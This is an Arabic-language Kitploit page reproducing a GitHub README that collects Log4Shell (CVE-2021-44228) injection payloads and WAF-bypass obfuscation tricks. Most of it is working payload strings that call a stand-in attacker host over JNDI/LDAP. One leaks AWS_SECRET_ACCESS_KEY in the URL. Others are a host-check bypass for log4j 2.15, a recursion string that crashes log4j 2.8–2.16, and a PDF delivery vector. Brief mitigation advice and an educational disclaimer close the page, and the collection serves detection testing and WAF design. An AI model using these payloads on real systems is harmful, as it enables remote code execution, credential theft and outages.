Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-44228-PoC-log4j-bypass-words — 🐱‍💻 ✂️ 🤬 CVE-2021-44228 - استغلال LOG4J Java - حيل تجاوز WAF | Kitploit
أدوات/GitHubGitHub/puliczek/cve-2021-44228-poc-log4j-bypass-words
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالالتهرب من IDS/IPSاستغلال تطبيقات الويبتجاوز WAFاختبار الاختراقالتعلم والتعليمالفريق الأحمر

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
GitHubpuliczek/cve-2021-44228-poc-log4j-bypass-words

CVE-2021-44228-PoC-log4j-bypass-words

🐱‍💻 ✂️ 🤬 CVE-2021-44228 - استغلال LOG4J Java - حيل تجاوز WAF

عرض المستودع
9501345منذ 4 سنواتتمت المراجعة من قبل Kitploit
مشاركة
🤝 أظهر دعمك - أعطِ ⭐️ إذا أعجبك المحتوى | شارك على تويتر | تابعني على

🐱‍💻 ✂️ 🤬 استغلال LOG4J Java - حيل لتجاوز WAF والتصحيحات

📝 الوصف

CVE-2021-44228 يعمل على:

log4j: 2.0 <= Apache log4j <= 2.14.1

إصدارات Java التي تم تصحيحها بالفعل: 6u211+, 7u201+, 8u191+, 11.0.1+.

بدأ Windows Defender في إزالة ملفات .java التي تحتوي على jndi:ldap:....

نص بسيط للمهاجم (RCE محتمل):

${jndi:ldap://somesitehackerofhell.com/z}

بدأ WAF أو المطورون في حظر العبارات:

  • "ldap:"
  • "jndi:"

لتأمين التطبيقات.

ومع ذلك، يمكن للمهاجم تجاوز ذلك باستخدام إحدى هذه التقنيات:

1. متغيرات بيئة النظام

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//somesitehackerofhell.com/z}

من وثائق Apache Log4j 2: ${env:ENV_NAME:-default_value}

إذا لم يكن هناك متغير بيئة نظام ENV_NAME، استخدم النص بعد :-

يمكن للمهاجم استخدام أي اسم بدلاً من ENV_NAME، ولكن يجب ألا يكون موجودًا.

أو يمكن للمخترق قراءة متغير بيئة، مثال لـ AWS_SECRET_ACCESS_KEY:

${jndi:ldap://somesitehackerofhell.com/z?leak=${env:AWS_SECRET_ACCESS_KEY:-NO_EXISTS}}

تحقق من المزيد من الأسرار في 🦄🔒 قائمة رائعة من الأسرار في متغيرات البيئة 🖥️

يمكنك التحقق من متغيرات بيئة النظام لديك:

  • على ويندوز نفذ في PowerShell: dir env:
  • على لينكس/MacOS نفذ في الطرفية: printenv أو env

2. البحث الصغير أو الكبير

${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://somesitehackerofhell.com/z}

${${upper:j}ndi:${upper:l}${upper:d}a${upper:p}://somesitehackerofhell.com/z}

Lookup الصغير يقوم LowerLookup بتحويل الوسيطة الممررة إلى أحرف صغيرة. من المفترض أن تكون القيمة نتيجة بحث متداخل.

${lower:<text>}

Lookup الكبير يقوم UpperLookup بتحويل الوسيطة الممررة إلى أحرف كبيرة. من المفترض أن تكون القيمة نتيجة بحث متداخل.

${upper:<text>}


3. ترميز "::-"

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://somesitehackerofhell.com/z}


4. أحرف Unicode غير صالحة مع التحويل إلى كبير

${jnd${upper:ı}:ldap://somesitehackerofhell.com/z}

يتم تحويل ı إلى i


5. خصائص النظام

${jnd${sys:SYS_NAME:-i}:ldap:/somesitehackerofhell.com/z}

إذا لم تكن هناك خاصية نظام SYS_NAME، استخدم النص بعد :-


6. ترميز ":-"

${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://somesitehackerofhell.com/z}


7. التاريخ

${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:${date:'l'}${date:'d'}${date:'a'}${date:'p'}://somesitehackerofhell.com/z}

يقوم تنسيق التاريخ في Java بتحويل YYYY إلى 2021، لكنه يحول 'YYYY' إلى YYYY أو 'j' إلى j.


8. ترميز URL HTML

استبدل الأحرف بـ:

  • } بـ %7D
  • { بـ %7B
  • $ بـ %24

يمكنك قراءة المزيد هنا مرجع ترميز URL HTML


9. بحث غير موجود

${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://somesitehackerofhell.com/z}

لا يتحقق من وجود البحث ويقيم ببساطة إلى القيمة الافتراضية بكل سرور.


10. متعدد الأشكال (طلب JSON REST API)


root@kitploit:~
{
    "one-${jnd${a":"a:-i}:ld${",
    "two":"o:-a}p://somesitehackerofhell.com/z}
}

"بشكل منفصل، لا تمثل هذه المفاتيح والقيم هجومًا. لكنها مجتمعة تشكل هجومًا، وهذا الهجوم شفاف لأنظمة الكشف بسبب محلل JSON." اقرأ المزيد...


11. أحرف Unicode (طلب JSON REST API)

${\u006a\u006e\u0064\u0069:ldap://somesitehackerofhell.com/z}

حول بعض الأحرف إلى Unicode.

محول Unicode عبر الإنترنت


12. خدعة باستخدام # (تعمل على log4j 2.15)

${jndi:ldap://127.0.0.1#somesitehackerofhell.com/z}

تجاوز فحوصات allowedLdapHost و allowedClasses في Log4J 2.15.0. تقوم طريقة java.net.URI getHost() بإرجاع القيمة قبل # كمضيف حقيقي. لكن محلل JNDI/LDAP سيحل إلى سلسلة اسم المضيف الكامل محاولًا الاتصال بخادم LDAP الخبيث.

اقرأ المزيد...


13. هجوم الحرمان من الخدمة (يعمل على log4j 2.8 - 2.16 - CVE-2021-45105 )

${${::-${::-$${::-j}}}}

إذا تمت محاولة استبدال سلسلة لأي سبب على السلسلة التالية، فسيؤدي ذلك إلى تكرار لا نهائي وسيتعطل التطبيق تعطل.

اقرأ المزيد...


14. PDF كقناة توصيل.

قم بصياغة ملف PDF خاص لاستغلال CVE-2021-44228

مثال PDF

احصل على ملف pdf واقرأ المزيد...

الاختبار

لاختبار الإدخال يمكنك استخدام:

  • https://canarytokens.org/generate - اختر الرمز Log4Shell (سيتم إرسال إشعار الإدخال عبر البريد الإلكتروني أو webhook)، قم بالتوليد واستبدل somesitehackerofhell.com/z
  • https://dnslog.cn/ - قم بتوليد نطاق فرعي واستبدل somesitehackerofhell.com/z

✨ أفضل حل للحماية من CVE-2021-44228

الخلاصة: قم بالتحديث إلى log4j-2.17.1 أو أحدث.

تخفيف Log4j 1.x: Log4j 1.x لا يحتوي على Lookups لذا الخطر أقل. التطبيقات التي تستخدم Log4j 1.x تكون عرضة لهذا الهجوم فقط عندما تستخدم JNDI في إعداداتها. تم تسجيل CVE منفصل (CVE-2021-4104) لهذه الثغرة. للتخفيف: قم بتدقيق إعدادات التسجيل الخاصة بك للتأكد من عدم وجود JMSAppender مكون. إعدادات Log4j 1.x بدون JMSAppender لا تتأثر بهذه الثغرة.

تخفيف Log4j 2.x: قم بتنفيذ إحدى تقنيات التخفيف أدناه.

  • يجب على مستخدمي Java 8 (أو أحدث) الترقية إلى الإصدار 2.17.1.
  • يجب على المستخدمين الذين يحتاجون Java 7 الترقية إلى الإصدار 2.12.4 عندما يصبح متاحًا (قيد العمل، من المتوقع أن يكون متاحًا قريبًا).
  • بخلاف ذلك، قم بإزالة فئة JndiLookup من مسار الفئات: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class وقم بإزالة المراجع إلى Context Lookups مثل ${ctx:loginId} أو $${ctx:loginId} حيث تنشأ من مصادر خارجية للتطبيق مثل رؤوس HTTP أو إدخال المستخدم.

لاحظ أن ملف log4j-core JAR فقط هو المتأثر بهذه الثغرة. التطبيقات التي تستخدم ملف log4j-api JAR فقط بدون ملف log4j-core JAR لا تتأثر بهذه الثغرة.

المصدر واقرأ المزيد...

حافظ على الأمان!

🤝 أظهر دعمك

🤝 أظهر دعمك - أعطِ ⭐️ إذا أعجبك المحتوى أو الميم | شارك على تويتر | تابعني على

log2

📝 روابط مفيدة

  • دليل مستخدم Apache Log4j 2 الإصدار 2.15.0
  • أول نشر محتمل لتجاوز lower/upper
  • CVE-2021-44228 (تنفيذ الأوامر عن بعد في Apache Log4j)
  • مرجع ترميز URL HTML
  • مراجعة GitHub CVE-2021-44228 - حقن الأوامر عن بعد في Log4j
  • ثغرات أمان Apache Log4j
  • برنامج log4j-detector - يكتشف إصدارات Log4J على نظام الملفات الخاص بك داخل أي تطبيق معرض لـ CVE-2021-44228 و CVE-2021-45046
  • استغلال Log4J متعدد الأشكال وهو طلب JSON REST API صالح
  • تجاوز NGFW/WAFs باستخدام تشويش تنسيق البيانات
  • LOG4J2-3230 سلاسل معينة يمكن أن تسبب تكرارًا لا نهائيًا
  • هذا هو PoC لكيفية تجاوز فحوصات allowedLdapHost و allowedClasses في Log4J 2.15.0
  • 🦄🔒 قائمة رائعة من الأسرار في متغيرات البيئة 🖥️
  • استغلال CVE-2021-44228 باستخدام PDFs كقناة توصيل - PoC

🙌 شكر للمستخدمين على المساهمة

  • جميع المساهمين
  • Whatsec لأمثلة إضافية للتجاوزات
  • manjula-aw لتحسين قسم الأمان
  • juliusmusseau لمثال إضافي للتجاوز

✔️ إخلاء مسؤولية

يمكن استخدام هذا المشروع للأغراض التعليمية فقط. استخدام هذا البرنامج ضد الأنظمة المستهدفة دون إذن مسبق غير قانوني، ولن يكون المؤلف مسؤولاً عن أي أضرار ناتجة عن سوء الاستخدام.

لست مؤلفًا لـ CVE-2021-44228 وبعض التجاوزات

تنزيل الأداة